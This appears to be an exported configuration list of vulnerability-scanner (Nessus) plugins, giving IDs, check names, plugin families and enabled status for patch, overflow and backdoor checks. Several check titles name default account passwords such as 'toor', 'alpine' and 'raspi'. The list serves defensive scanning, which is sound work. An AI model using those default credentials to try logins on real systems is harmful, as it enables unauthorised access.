58001
Flash Player <= 10.3.183.14 / 11.1.102.55 Multiple Vulnerabilities (APSB12-03)
Windows
enabled
56570
CentOS : RHSA-2011-1392
CentOS Local Security Checks
enabled
25217
Samba < 3.0.25 Multiple Vulnerabilities
Misc.
enabled
24343
Solaris 10 (sparc) : 120068-03
Solaris Local Security Checks
enabled
59498
iTunes < 10.6.3 Multiple Vulnerabilities (uncredentialed check)
Peer-To-Peer File Sharing
enabled
21210
MS06-013: Cumulative Security Update for Internet Explorer (912812)
Windows : Microsoft Bulletins
enabled
56017
FreeBSD : apache -- Range header DoS vulnerability (7f6108d2-cea8-11e0-9d58-0800279895ea)
FreeBSD Local Security Checks
enabled
59057
PHP 5.4.x < 5.4.3 Multiple Vulnerabilities
CGI abuses
enabled
60878
Scientific Linux Security Update : firefox on SL4.x i386/x86_64
Scientific Linux Local Security Checks
enabled
61783
GLSA-201209-01 : Adobe Flash Player: Multiple vulnerabilities
Gentoo Local Security Checks
enabled
47747
Oracle Secure Backup Administration Server login.php Authentication Bypass
CGI abuses
enabled
30132
Coppermine imageObjectIM.class.php Command Execution Vulnerabilities
CGI abuses
enabled
57916
Default Password (nasadmin) for 'root' Account
Default Unix Accounts
enabled
61487
IBM Lotus Notes < 8.5.3 FP2 URL Handler Unspecified Remote Code Execution
Windows
enabled
17326
Sentinel License Manager lservnt Service Remote Buffer Overflow
Gain a shell remotely
enabled
56972
Apache HTTP Server mod_proxy Reverse Proxy Information Disclosure
Web Servers
enabled
12294
Squid ntlm_check_auth Function NTLM Authentication Helper Password Handling Remote Overflow
Firewalls
enabled
47694
SuSE 11.2 Security Update: acroread (2010-07-06)
SuSE Local Security Checks
enabled
32189
USN-609-1 : OpenOffice.org vulnerabilities
Ubuntu Local Security Checks
enabled
18813
Mozilla Browser < 1.7.9 Multiple Vulnerabilities
Windows
enabled
33790
Mac OS X Multiple Vulnerabilities (Security Update 2008-005)
MacOS X Local Security Checks
enabled
57858
SuSE 10 Security Update : Mozilla Firefox (ZYPP Patch Number 7949)
SuSE Local Security Checks
enabled
31659
Apache < 2.2.3 mod_rewrite LDAP Protocol URL Handling Overflow
Web Servers
enabled
46765
VMSA-2010-0009 : ESXi ntp and ESX Service Console third party updates
VMware ESX Local Security Checks
enabled
16321
3Com 3CServer/3CDaemon FTP Server Multiple Vulnerabilities (OF, FS, PD, DoS)
FTP
enabled
12065
ASN.1 Multiple Integer Overflows (SMTP check)
SMTP problems
enabled
61393
MySQL Authentication Protocol Token Comparison Casting Failure Password Bypass
Databases
enabled
34388
Debian DSA-1652-1 : ruby1.9 - several vulnerabilities
Debian Local Security Checks
enabled
40803
Adobe Acrobat < 9.1 / 8.1.4 / 7.1.1 Multiple Vulnerabilities
Windows
enabled
60518
Scientific Linux Security Update : avahi on SL5.x i386/x86_64
Scientific Linux Local Security Checks
enabled
31829
Fedora 8 : wireshark-1.0.0-1.fc8 (2008-3040)
Fedora Local Security Checks
enabled
18551
VERITAS Backup Exec Agent for Windows CONNECT_CLIENT_AUTH Remote Overflow
Windows
enabled
40333
Wyse Device Manager Buffer Overflow
Windows
enabled
52000
Majordomo 2 _list_file_get() Function Traversal Arbitrary File Access
CGI abuses
enabled
47045
MS KB2219475: Windows Help Center hcp:// Protocol Handler Arbitrary Code Execution
Windows
enabled
40353
DD-WRT HTTP Daemon Metacharacter Injection Remote Code Execution
Web Servers
enabled
30044
CentOS : RHSA-2008-0059
CentOS Local Security Checks
enabled
41540
SuSE 10 Security Update : Linux kernel (ZYPP Patch Number 6439)
SuSE Local Security Checks
enabled
22092
sipXtapi INVITE Message CSeq Field Header Remote Overflow
Misc.
enabled
63659
Fedora 16 : nagios-3.4.4-1.fc16 (2013-0752)
Fedora Local Security Checks
enabled
17241
BadBlue ext.dll mfcisapicommand Parameter Remote Overflow
Web Servers
enabled
56740
RHEL 4 / 5 / 6 : acroread (RHSA-2011-1434)
Red Hat Local Security Checks
enabled
25442
FlipViewer ActiveX Control < 4.1 Buffer Overflow Vulnerabilities
Windows
enabled
59058
CentOS : RHSA-2012-0547
CentOS Local Security Checks
enabled
35559
Default Password (profense) for 'operator' Account
Default Unix Accounts
enabled
44126
SuSE 11.1 Security Update: acroread (2010-01-22)
SuSE Local Security Checks
enabled
39384
HP-UX PHSS_39246 : s700_800 11.X OV NNM7.53 IA-64 Intermediate Patch 22
HP-UX Local Security Checks
enabled
24660
SSA-2006-335-02 : proftpd
Slackware Local Security Checks
enabled
34471
mIRC PRIVMSG Handling Remote Buffer Overflow
Windows
enabled
61928
Mandriva Linux Security Advisory : wireshark (MDVSA-2011:138)
Mandriva Local Security Checks
enabled
46740
Apache Axis2 Default Credentials
CGI abuses
enabled
57745
GLSA-201201-19 : Adobe Reader: Multiple vulnerabilities
Gentoo Local Security Checks
enabled
48187
Mandriva Linux Security Advisory : dhcp (MDVSA-2010:114)
Mandriva Local Security Checks
enabled
14243
Medal of Honor Multiple Remote Overflows
Gain a shell remotely
enabled
24887
GLSA-200703-21 : PHP: Multiple vulnerabilities
Gentoo Local Security Checks
enabled
63399
TWiki < 5.1.3 Multiple Vulnerabilities
CGI abuses
enabled
40050
SuSE 11.0 Security Update: libudev-devel (2009-04-14)
SuSE Local Security Checks
enabled
40738
RHEL 4 / 5 : java-1.5.0-ibm (RHSA-2009-0016)
Red Hat Local Security Checks
enabled
30035
RHEL 3 : wireshark (RHSA-2008-0059)
Red Hat Local Security Checks
enabled
56064
Oracle Database, April 2009 Critical Patch Update
Databases
enabled
28262
GLSA-200711-23 : VMware Workstation and Player: Multiple vulnerabilities
Gentoo Local Security Checks
enabled
35777
Default Password (toor) for 'root' Account
Default Unix Accounts
enabled
25681
SAP DB / MaxDB Web Server DBM_INTERN_TEST Event Buffer Overflow
CGI abuses
enabled
44890
GLSA-201001-01 : NTP: Denial of Service
Gentoo Local Security Checks
enabled
57457
USN-1306-1 : firefox vulnerabilities
Ubuntu Local Security Checks
enabled
21844
CentOS : RHSA-2005-587
CentOS Local Security Checks
enabled
33737
Debian DSA-1617-1 : refpolicy - incompatible policy
Debian Local Security Checks
enabled
38664
Intel Common Base Agent CreateProcessA() Function Remote Command Execution
Windows
enabled
61297
Scientific Linux Security Update : samba3x on SL5.x i386/x86_64
Scientific Linux Local Security Checks
enabled
40802
Adobe Acrobat < 8.1.3 Multiple Vulnerabilities
Windows
enabled
42134
RHEL 3 / 4 / 5 : acroread (RHSA-2009-1499)
Red Hat Local Security Checks
enabled
20382
MS06-001: Vulnerabilities in Graphics Rendering Engine Could Allow Code Execution (912919)
Windows : Microsoft Bulletins
enabled
59030
RHEL 5 / 6 : php (RHSA-2012-0546)
Red Hat Local Security Checks
enabled
33441
MS08-037: Vulnerabilities in DNS Could Allow Spoofing (953230)
Windows : Microsoft Bulletins
enabled
56392
Citrix Provisioning Services StreamProcess.exe Remote Code Execution (CTX130846)
Windows
enabled
49101
SuSE9 Security Update : IBM Java (YOU Patch Number 12626)
SuSE Local Security Checks
enabled
53718
SuSE 11.2 Security Update: flash-player (2010-11-04)
SuSE Local Security Checks
enabled
45078
SuSE 10 Security Update : ethereal (ZYPP Patch Number 6889)
SuSE Local Security Checks
enabled
49645
HP Data Protector Express < 4.x build 56906 / 3.x build 56936 Multiple Vulnerabilities
Windows
enabled
11926
NIPrint LPD-LPR Print Server String Handling Remote Overflow
Denial of Service
enabled
58084
RHEL 5 : java-1.6.0-openjdk (RHSA-2012-0322)
Red Hat Local Security Checks
enabled
18627
GlobalSCAPE Secure FTP Server User Input Overflow
FTP
enabled
58980
Fedora 15 : samba4-4.0.0-26.alpha11.fc15.6 (2012-6349)
Fedora Local Security Checks
enabled
59056
PHP 5.3.x < 5.3.13 CGI Query String Code Execution
CGI abuses
enabled
31638
USN-588-1 : MySQL vulnerabilities
Ubuntu Local Security Checks
enabled
50633
RHEL 6 : firefox (RHSA-2010-0861)
Red Hat Local Security Checks
enabled
47103
Debian DSA-2061-1 : samba - memory corruption
Debian Local Security Checks
enabled
57405
CentOS : RHSA-2011-1851
CentOS Local Security Checks
enabled
61073
Scientific Linux Security Update : thunderbird on SL4.x, SL5.x i386/x86_64
Scientific Linux Local Security Checks
enabled
57443
Fedora 16 : krb5-appl-1.0.2-2.fc16 (2011-17493)
Fedora Local Security Checks
enabled
42903
Fedora 11 : tomcat6-6.0.20-1.fc11 (2009-11374)
Fedora Local Security Checks
enabled
19888
Mandrake Linux Security Advisory : mozilla (MDKSA-2005:128)
Mandriva Local Security Checks
enabled
55803
Flash Player <= 10.3.181.36 Multiple Vulnerabilities (APSB11-21)
Windows
enabled
57430
SuSE 11.1 Security Update : Kerberos 5 (SAT Patch Number 5594)
SuSE Local Security Checks
enabled
59053
SuSE 10 Security Update : PHP5 (ZYPP Patch Number 8114)
SuSE Local Security Checks
enabled
41432
SuSE 11 Security Update : udev (SAT Patch Number 766)
SuSE Local Security Checks
enabled
19345
FreeBSD : firefox & mozilla -- multiple vulnerabilities (5d72701a-f601-11d9-bcd1-02061b08fc24)
FreeBSD Local Security Checks
enabled
43875
Adobe Acrobat < 9.3 / 8.2 Multiple Vulnerabilities (APSB10-02)
Windows
enabled
11214
MS02-061: Microsoft SQL Server Multiple Vulnerabilities (uncredentialed check)
Databases
enabled
60462
Scientific Linux Security Update : dnsmasq on SL5.x i386/x86_64
Scientific Linux Local Security Checks
enabled
49207
Mandriva Linux Security Advisory : tomcat5 (MDVSA-2010:177)
Mandriva Local Security Checks
enabled
35635
MS09-004: Vulnerability in Microsoft SQL Server Could Allow Remote Code Execution (959420) (uncredentialed check)
Windows
enabled
58399
HP Data Protector Express 5.x < 5.0.0 Build 59287 / 6.x < 6.0.0 Build 11974 Multiple Vulnerabilities
Windows
enabled
39766
Mac OS X : Java for Mac OS X 10.4 Release 9
MacOS X Local Security Checks
enabled
64262
Default Password (raspi) for 'root' Account
Default Unix Accounts
enabled
45626
Oracle Database, April 2010 Critical Patch Update
Databases
enabled
31996
CentOS : RHSA-2008-0175
CentOS Local Security Checks
enabled
43140
HP-UX PHSS_37382 : s700_800 11.X OV DP5.50 PA-RISC patch - CORE packet
HP-UX Local Security Checks
enabled
56719
Fedora 16 : java-1.6.0-openjdk-1.6.0.0-60.1.10.4.fc16 (2011-15020)
Fedora Local Security Checks
enabled
63804
AIX 6.1 TL 1 : xntpd (IZ71611)
AIX Local Security Checks
enabled
19359
FreeBSD : drupal -- PHP code execution vulnerabilities (f241641e-f5ea-11d9-a6db-000d608ed240)
FreeBSD Local Security Checks
enabled
15456
MS04-031: Vulnerability in NetDDE Could Allow Code Execution (841533)
Windows : Microsoft Bulletins
enabled
50904
SuSE 11 / 11.1 Security Update : flash-player (SAT Patch Numbers 3475 / 3477)
SuSE Local Security Checks
enabled
23643
MS06-066: Vulnerability in the Client Service for NetWare Could Allow Remote Code Execution (923980)
Windows : Microsoft Bulletins
enabled
22144
GLSA-200608-02 : Mozilla SeaMonkey: Multiple vulnerabilities
Gentoo Local Security Checks
enabled
62213
Mac OS X Multiple Vulnerabilities (Security Update 2012-004)
MacOS X Local Security Checks
enabled
40235
SuSE 11.1 Security Update: java-1_5_0-sun (2008-12-17)
SuSE Local Security Checks
enabled
57431
SuSE 10 Security Update : Kerberos 5 (ZYPP Patch Number 7899)
SuSE Local Security Checks
enabled
59208
Symantec Web Gateway ipchange.php Shell Command Injection (SYM12-006) (intrusive check)
CGI abuses
enabled
56203
Fedora 14 : rsyslog-4.6.3-3.fc14 (2011-12282)
Fedora Local Security Checks
enabled
14028
Mandrake Linux Security Advisory : samba (MDKSA-2003:044)
Mandriva Local Security Checks
enabled
25172
Trend Micro ServerProtect EarthAgent RPC Request Remote Buffer Overflow
Windows
enabled
35380
GLSA-200901-11 : Avahi: Denial of Service
Gentoo Local Security Checks
enabled
25509
Fedora Core 5 : spamassassin-3.1.9-1.fc5.1 (2007-584)
Fedora Local Security Checks
enabled
50404
FreeBSD : mozilla -- Heap buffer overflow mixing document.write and DOM insertion (c223b00d-e272-11df-8e32-000f20797ede)
FreeBSD Local Security Checks
enabled
53451
Adobe Reader 9.x / 10.x Multiple Vulnerabilities (APSB11-08)
Windows
enabled
58130
USN-1373-1 : openjdk-6 vulnerabilities
Ubuntu Local Security Checks
enabled
59253
RHEL 5 / 6 : flash-plugin (RHSA-2012-0688)
Red Hat Local Security Checks
enabled
10828
SysV /bin/login Environment Remote Overflow (rlogin)
Gain a shell remotely
enabled
22593
Debian DSA-1051-1 : mozilla-thunderbird - several vulnerabilities
Debian Local Security Checks
enabled
34121
MS08-053: Vulnerability in Windows Media Encoder 9 Could Allow Remote Code Execution (954156)
Windows : Microsoft Bulletins
enabled
53648
SuSE 11.1 Security Update : Mozilla-XULrunner (SAT Patch Number 4461)
SuSE Local Security Checks
enabled
37488
Fedora 10 : avahi-0.6.22-12.fc10 (2008-11351)
Fedora Local Security Checks
enabled
34417
Default Password (gforge) for 'root' Account
Default Unix Accounts
enabled
29698
QuickTime < 7.3.1 Multiple Vulnerabilities (Windows)
Windows
enabled
31783
USN-588-2 : MySQL regression
Ubuntu Local Security Checks
enabled
50544
ProFTPD < 1.3.3c Multiple Vulnerabilities
FTP
enabled
36599
Mandriva Linux Security Advisory : avahi (MDVSA-2009:031)
Mandriva Local Security Checks
enabled
47582
Novell 'modulemanager' Servlet Arbitrary File Upload (safe check)
CGI abuses
enabled
42870
VMSA-2009-0016 : VMware vCenter and ESX update release and vMA patch release address multiple security issues in third party components.
VMware ESX Local Security Checks
enabled
22674
Debian DSA-1132-1 : apache2 - buffer overflow
Debian Local Security Checks
enabled
50069
Apache 2.0 < 2.0.64 Multiple Vulnerabilities
Web Servers
enabled
61596
SuSE 10 Security Update : flash-player (ZYPP Patch Number 8249)
SuSE Local Security Checks
enabled
58597
TRENDnet SecurView UltraMJCam ActiveX Control OpenFileDlg Method WideCharToMultiByte() Call Remote Overflow
Windows
enabled
33772
Debian DSA-1623-1 : dnsmasq - DNS cache poisoning
Debian Local Security Checks
enabled
60485
Scientific Linux Security Update : ruby on SL3.x, SL4.x, SL5.x i386/x86_64
Scientific Linux Local Security Checks
enabled
33494
GLSA-200807-08 : BIND: Cache poisoning
Gentoo Local Security Checks
enabled
29723
Mac OS X Multiple Vulnerabilities (Security Update 2007-009)
MacOS X Local Security Checks
enabled
20544
USN-149-1 : mozilla-firefox vulnerabilities
Ubuntu Local Security Checks
enabled
46348
HP-UX PHSS_40708 : s700_800 11.X OV NNM7.53 IA-64 Intermediate Patch 26
HP-UX Local Security Checks
enabled
61909
Mandrake Linux Security Advisory : ntp (MDKSA-2001:036)
Mandriva Local Security Checks
enabled
57768
Firefox 9.x Multiple Vulnerabilities
Windows
enabled
57090
SuSE 11.1 Security Update : Apache2 (SAT Patch Number 5482)
SuSE Local Security Checks
enabled
35361
MS09-001: Vulnerabilities in SMB Could Allow Remote Code Execution (958687)
Windows : Microsoft Bulletins
enabled
18589
phpBB < 2.0.16 viewtopic.php Highlighting Feature Arbitrary PHP Code Execution
CGI abuses
enabled
53593
Firefox 3.5 < 3.5.19 Multiple Vulnerabilities
Windows
enabled
23892
Mandrake Linux Security Advisory : mozilla-firefox (MDKSA-2006:143-1)
Mandriva Local Security Checks
enabled
40637
Mandriva Linux Security Advisory : kernel (MDVSA-2009:205)
Mandriva Local Security Checks
enabled
58716
Mandriva Linux Security Advisory : samba (MDVSA-2012:055)
Mandriva Local Security Checks
enabled
24749
GLSA-200703-01 : Snort: Remote execution of arbitrary code
Gentoo Local Security Checks
enabled
24680
Trend Micro ServerProtect TmRpcSrv.dll RPC Request Multiple Overflows
Gain a shell remotely
enabled
13832
SuSE-SA:2004:016: squid
SuSE Local Security Checks
enabled
53464
Fedora 14 : libmodplug-0.8.8.2-1.fc14 (2011-5204)
Fedora Local Security Checks
enabled
45007
SSA-2010-067-01 : httpd
Slackware Local Security Checks
enabled
34818
VMware Products Multiple Vulnerabilities (VMSA-2008-0018/VMSA-2008-0019)
Windows
enabled
58719
RHEL 6 : tomcat6 (RHSA-2012-0475)
Red Hat Local Security Checks
enabled
56987
Debian DSA-2356-1 : openjdk-6 - several vulnerabilities
Debian Local Security Checks
enabled
30213
MikroTik RouterOS with Blank Password (telnet check)
Misc.
enabled
60703
Scientific Linux Security Update : ntp on SL3.x, SL4.x, SL5.x i386/x86_64
Scientific Linux Local Security Checks
enabled
18840
FreeBSD : awstats -- remote command execution vulnerability (0f5a2b4d-694b-11d9-a9e7-0001020eed82)
FreeBSD Local Security Checks
enabled
45005
Arugizer Backdoor Detection
Backdoors
enabled
25171
Trend Micro ServerProtect AgRpcCln.dll Buffer Overflow
Windows
enabled
61220
Scientific Linux Security Update : php on SL5.x i386/x86_64
Scientific Linux Local Security Checks
enabled
57473
MS12-005: Vulnerability in Microsoft Windows Could Allow Remote Code Execution (2584146)
Windows : Microsoft Bulletins
enabled
29309
MS07-065: Vulnerability in Message Queuing Could Allow Remote Code Execution (937894)
Windows : Microsoft Bulletins
enabled
44644
Adobe Reader < 9.3.1 / 8.2.1 Multiple Vulnerabilities (APSB10-07)
Windows
enabled
53909
Mandriva Linux Security Advisory : libmodplug (MDVSA-2011:085)
Mandriva Local Security Checks
enabled
42902
Fedora 10 : tomcat6-6.0.20-1.fc10 (2009-11356)
Fedora Local Security Checks
enabled
52959
SuSE 11.1 Security Update : flash-player (SAT Patch Number 4190)
SuSE Local Security Checks
enabled
56935
Fedora 14 : phpldapadmin-1.2.1.1-2.20111006git.fc14 (2011-14986)
Fedora Local Security Checks
enabled
22588
Debian DSA-1046-1 : mozilla - several vulnerabilities
Debian Local Security Checks
enabled
57933
USN-1359-1 : tomcat6 vulnerabilities
Ubuntu Local Security Checks
enabled
37969
Mandriva Linux Security Advisory : openoffice.org (MDVSA-2008:095)
Mandriva Local Security Checks
enabled
57515
Debian DSA-2375-1 : krb5, krb5-appl - buffer overflow
Debian Local Security Checks
enabled
17761
OpenSSL < 0.9.8i Denial of Service
Web Servers
enabled
33501
SuSE Security Update: bind security update (bind-5410)
SuSE Local Security Checks
enabled
36281
FreeBSD : twiki -- arbitrary shell command execution (b4af3ede-36e9-11d9-a9e7-0001020eed82)
FreeBSD Local Security Checks
enabled
46294
RHEL 4 / 5 : java-1.5.0-sun (RHSA-2010-0338)
Red Hat Local Security Checks
enabled
45074
SuSE 11.1 Security Update: wireshark (2010-02-03)
SuSE Local Security Checks
enabled
55551
HP Data Protector <= A.06.20 Multiple Vulnerabilities (credentialed check)
Windows
enabled
48375
Adobe Reader < 9.3.4 / 8.2.4 Multiple Vulnerabilities (APSB10-17)
Windows
enabled
64183
SuSE 11.1 Security Update : MySQL (SAT Patch Number 6613)
SuSE Local Security Checks
enabled
50381
Adobe Reader 9 <= 9.4 (APSA10-05)
Windows
enabled
30125
Debian DSA-1478-1 : mysql-dfsg-5.0 - buffer overflows
Debian Local Security Checks
enabled
19433
Debian DSA-777-1 : mozilla - frame injection spoofing
Debian Local Security Checks
enabled
41526
SuSE 10 Security Update : Sun Java 1.4.2 (ZYPP Patch Number 5852)
SuSE Local Security Checks
enabled
46295
RHEL 5 : java-1.6.0-openjdk (RHSA-2010-0339)
Red Hat Local Security Checks
enabled
55483
SuSE 11.1 Security Update : Mozilla Firefox (SAT Patch Number 4804)
SuSE Local Security Checks
enabled
46858
Adobe AIR < 2.0.2.12610 Multiple Vulnerabilities (ASPB10-14)
Windows
enabled
25928
Mercury SMTP Server AUTH CRAM-MD5 Remote Buffer Overflow
SMTP problems
enabled
10483
PostgreSQL Default Unpassworded Account
Databases
enabled
25344
ProgramChecker sasatl.dll ActiveX Control Multiple Overflows
Windows
enabled
47536
Fedora 12 : dhcp-4.1.1-17.P1.fc12 (2010-9479)
Fedora Local Security Checks
enabled
53658
SuSE 11.1 Security Update: flash-player (2010-11-04)
SuSE Local Security Checks
enabled
43597
RHEL 4 / 5 : java-1.6.0-ibm (RHSA-2009-1694)
Red Hat Local Security Checks
enabled
43156
NTP ntpd Mode 7 Error Response Packet Loop Remote DoS
Misc.
enabled
18489
MS05-030: Vulnerability in Outlook Express Could Allow Remote Code Execution (897715)
Windows : Microsoft Bulletins
enabled
11207
WarFTPd USER/PASS Command Remote Overflow
FTP
enabled
59937
CentOS : RHSA-2012-1009
CentOS Local Security Checks
enabled
27833
RHEL 5 : wireshark (RHSA-2007-0710)
Red Hat Local Security Checks
enabled
53384
MS11-027: Cumulative Security Update of ActiveX Kill Bits (2508272)
Windows : Microsoft Bulletins
enabled
39342
MS09-020: Vulnerabilities in Internet Information Services (IIS) Could Allow Elevation of Privilege (970483)
Windows : Microsoft Bulletins
enabled
19211
GLSA-200507-15 : PHP: Script injection through XML-RPC
Gentoo Local Security Checks
enabled
49808
Foxit Phantom < 2.2.0.926 Multiple Vulnerabilities
Windows
enabled
59031
RHEL 5 : php53 (RHSA-2012-0547)
Red Hat Local Security Checks
enabled
25969
Mandrake Linux Security Advisory : clamav (MDKSA-2007:172)
Mandriva Local Security Checks
enabled
50652
Oracle Database, October 2010 Critical Patch Update
Databases
enabled
51729
SuSE 10 Security Update : flash-player (ZYPP Patch Number 5877)
SuSE Local Security Checks
enabled
23637
Broadcom Wireless Driver (BCMWL5.SYS) Probe Response SSID Overflow
Windows
enabled
48216
MS10-046: Vulnerability in Windows Shell Could Allow Remote Code Execution (2286198)
Windows : Microsoft Bulletins
enabled
56566
Oracle Java SE Multiple Vulnerabilities (Oct 2011 CPU)
Windows
enabled
56553
RHEL 5 / 6 : java-1.6.0-openjdk (RHSA-2011-1380)
Red Hat Local Security Checks
enabled
10249
Multiple Mail Server EXPN/VRFY Information Disclosure
SMTP problems
enabled
62635
RHEL 6 : java-1.7.0-oracle (RHSA-2012-1391)
Red Hat Local Security Checks
enabled
18655
Debian DSA-745-1 : drupal - input validation errors
Debian Local Security Checks
enabled
33739
Debian DSA-1619-1 : python-dns - DNS response spoofing
Debian Local Security Checks
enabled
53862
Debian DSA-2235-1 : icedove - several vulnerabilities
Debian Local Security Checks
enabled
58994
Flash Player <= 10.3.183.18 / 11.2.202.233 Object Confusion Vulnerability (APSB12-09)
Windows
enabled
49255
SuSE9 Security Update : Tomcat (YOU Patch Number 12625)
SuSE Local Security Checks
enabled
21328
AWStats migrate Parameter Arbitrary Command Execution
CGI abuses
enabled
27749
Fedora 7 : snort-2.7.0.1-3.fc7 (2007-2060)
Fedora Local Security Checks
enabled
50531
MS10-087: Vulnerabilities in Microsoft Office Could Allow Remote Code Execution (2423930) (Mac OS X)
MacOS X Local Security Checks
enabled
33104
SecurityGateway < 1.0.2 Administration Interface username Field Remote Overflow
Firewalls
enabled
20842
Firefox < 1.5.0.1 Multiple Vulnerabilities
Windows
enabled
11243
Unpassworded '4Dgifts' Account
Default Unix Accounts
enabled
59138
SuSE 10 Security Update : Linux kernel (ZYPP Patch Number 6437)
SuSE Local Security Checks
enabled
58179
USN-1373-2 : openjdk-6b18 vulnerabilities
Ubuntu Local Security Checks
enabled
51128
Debian DSA-2131-1 : exim4 - arbitrary code execution
Debian Local Security Checks
enabled
57273
MS11-087: Vulnerability in Windows Kernel-Mode Drivers Could Allow Remote Code Execution (2639417)
Windows : Microsoft Bulletins
enabled
33866
Apache Tomcat allowLinking UTF-8 Traversal Arbitrary File Access
CGI abuses
enabled
27432
SuSE Security Update: samba: security update (samba-3828)
SuSE Local Security Checks
enabled
14500
GLSA-200405-14 : Buffer overflow in Subversion
Gentoo Local Security Checks
enabled
51176
MS10-104: Vulnerability in Microsoft SharePoint Could Allow Remote Code Execution (2455005)
Windows : Microsoft Bulletins
enabled
22291
RHEL 2.1 : seamonkey (RHSA-2006-0594)
Red Hat Local Security Checks
enabled
58606
Mac OS X : Java for OS X Lion 2012-001
MacOS X Local Security Checks
enabled
50869
RHEL 4 / 5 / 6 : acroread (RHSA-2010-0934)
Red Hat Local Security Checks
enabled
47710
MS10-042: Vulnerability in Help and Support Center Could Allow Remote Code Execution (2229593)
Windows : Microsoft Bulletins
enabled
17307
CA License Service Multiple Vulnerabilities
Windows
enabled
42368
Default Password (alpine) for 'mobile' Account
Default Unix Accounts
enabled
60082
Eaton Network Shutdown Module view_list.php paneStatusListSortBy Parameter eval() Call Remote PHP Code Execution
CGI abuses
enabled
29939
Debian DSA-1462-1 : hplip - missing input sanitising
Debian Local Security Checks
enabled
10320
Web Server Long URL Handling Remote Overflow DoS
Web Servers
enabled
50384
Mozilla Thunderbird < 3.0.10 Buffer Overflow
Windows
enabled
26918
Microsoft Windows SMB Blank Administrator Password
Windows
enabled
20541
USN-147-1 : php4, php4-universe vulnerability
Ubuntu Local Security Checks
enabled
44937
Multiple Adobe Products XML External Entity (XXE) Injection (APSB10-05)
CGI abuses
enabled
40241
SuSE 11.1 Security Update: java-1_6_0-sun (2008-12-17)
SuSE Local Security Checks
enabled
49930
SuSE 10 Security Update : tomcat5 (ZYPP Patch Number 7099)
SuSE Local Security Checks
enabled
49824
SuSE 11.1 Security Update: acroread (2010-10-07)
SuSE Local Security Checks
enabled
56359
Fedora 16 : httpd-2.2.21-1.fc16 (2011-12667)
Fedora Local Security Checks
enabled
55605
USN-1150-1 : thunderbird vulnerabilities
Ubuntu Local Security Checks
enabled
64035
RHEL 5 / 6 : php (RHSA-2012-0568)
Red Hat Local Security Checks
enabled
32442
Creative Software AutoUpdate Engine ActiveX (CTSUEng.ocx) Unspecified Overflow
Windows
enabled
18402
Hummingbird InetD FTP Component (ftpdw.exe) Command Overflow
FTP
enabled
13573
Solaris 9 (sparc) : 116453-03
Solaris Local Security Checks
enabled
53376
MS11-019: Vulnerabilities in SMB Client Could Allow Remote Code Execution (2511455)
Windows : Microsoft Bulletins
enabled
56748
Mac OS X : Java for Mac OS X 10.6 Update 6
MacOS X Local Security Checks
enabled
42926
SuSE 11.2 Security Update: java-1_6_0-openjdk (2009-11-27)
SuSE Local Security Checks
enabled
11664
Microsoft Media Services ISAPI nsiislog.dll Multiple Overflows
Web Servers
enabled
23757
Debian DSA-1222-2 : proftpd - several vulnerabilities
Debian Local Security Checks
enabled
40736
RHEL 3 / 4 / 5 : flash-plugin (RHSA-2008-1047)
Red Hat Local Security Checks
enabled
60964
Scientific Linux Security Update : java (jdk 1.6.0) on SL4.x, SL5.x i386/x86_64
Scientific Linux Local Security Checks
enabled
57685
USN-1263-2 : openjdk-6, openjdk-6b18 regression
Ubuntu Local Security Checks
enabled
17268
RHEL 4 : RealPlayer (RHSA-2005-265)
Red Hat Local Security Checks
enabled
51704
SuSE 10 Security Update : Acrobat Reader (ZYPP Patch Number 7266)
SuSE Local Security Checks
enabled
60805
Scientific Linux Security Update : samba on SL3.x, SL4.x i386/x86_64
Scientific Linux Local Security Checks
enabled
39420
MikroTik RouterOS with Blank Password (HTTP)
Web Servers
enabled
48364
Novell iPrint Client < 5.42 Multiple Flaws
Windows
enabled
42921
SuSE 11.0 Security Update: java-1_6_0-openjdk (2009-11-25)
SuSE Local Security Checks
enabled
63914
RHEL 3 : acroread (RHSA-2010-0060)
Red Hat Local Security Checks
enabled
44984
SuSE 11 Security Update : Acrobat Reader (SAT Patch Number 2065)
SuSE Local Security Checks
enabled
40808
CentOS : RHSA-2009-1233
CentOS Local Security Checks
enabled
45569
Novell ZENworks Configuration Management < 10 SP3 Multiple Flaws
Windows
enabled
40443
SuSE 11.0 Security Update: nagios (2009-07-15)
SuSE Local Security Checks
enabled
50464
SuSE 11.2 Security Update: MozillaFirefox (2010-10-28)
SuSE Local Security Checks
enabled
34466
RHEL 4 / 5 : ruby (RHSA-2008-0897)
Red Hat Local Security Checks
enabled
57703
Fedora 15 : maniadrive-1.2-32.fc15.1 / php-5.3.9-1.fc15 / php-eaccelerator-0.9.6.1-9.fc15.1 (2012-0420)
Fedora Local Security Checks
enabled
43364
SuSE9 Security Update : xntp (YOU Patch Number 12559)
SuSE Local Security Checks
enabled
53641
HP Data Protector Remote Command Execution
Gain a shell remotely
enabled
50422
Fedora 12 : firefox-3.5.15-1.fc12 / galeon-2.0.7-27.fc12 / gnome-python2-extras-2.25.3-22.fc12 / etc (2010-16885)
Fedora Local Security Checks
enabled
63998
RHEL 5 / 6 : httpd (RHSA-2011-1294)
Red Hat Local Security Checks
enabled
10335
Nessus TCP scanner
Port scanners
enabled
34055
AWStats Totals awstatstotals.php multisort() Function sort Parameter Arbitrary PHP Code Execution
CGI abuses
enabled
35660
Default Password (password) for 'admin' Account
Default Unix Accounts
enabled
42934
Serv-U < 9.1.0.0
FTP
enabled
52966
FreeBSD : linux-flashplugin -- remote code execution vulnerability (501ee07a-5640-11e0-985a-001b2134ef46)
FreeBSD Local Security Checks
enabled
56665
VMSA-2011-0013 : VMware third party component updates for VMware vCenter Server, vCenter Update Manager, ESXi and ESX
VMware ESX Local Security Checks
enabled
57352
Mozilla Thunderbird 8.x Multiple Vulnerabilities
Windows
enabled
38986
iTunes < 8.2 itms: URI Handling Overflow (uncredentialed check)
Peer-To-Peer File Sharing
enabled
57427
Mandriva Linux Security Advisory : php (MDVSA-2011:197)
Mandriva Local Security Checks
enabled
39905
SuSE 11.0 Security Update: acroread (2008-11-07)
SuSE Local Security Checks
enabled
35030
Sun Java JRE Multiple Vulnerabilities (244986 et al)
Windows
enabled
59489
RHEL 6 : java-1.6.0-openjdk (RHSA-2012-0729)
Red Hat Local Security Checks
enabled
54924
IBM Tivoli Management Framework Endpoint addr URL Remote Buffer Overflow
Web Servers
enabled
50299
SuSE 11.2 Security Update: java-1_6_0-sun (2010-10-19)
SuSE Local Security Checks
enabled
46859
Flash Player < 9.0.277.0 / 10.1.53.63 Multiple Vulnerabilities (ASPB10-14)
Windows
enabled
22679
Debian DSA-1137-1 : tiff - several vulnerabilities
Debian Local Security Checks
enabled
56558
CentOS : RHSA-2011-1380
CentOS Local Security Checks
enabled
21702
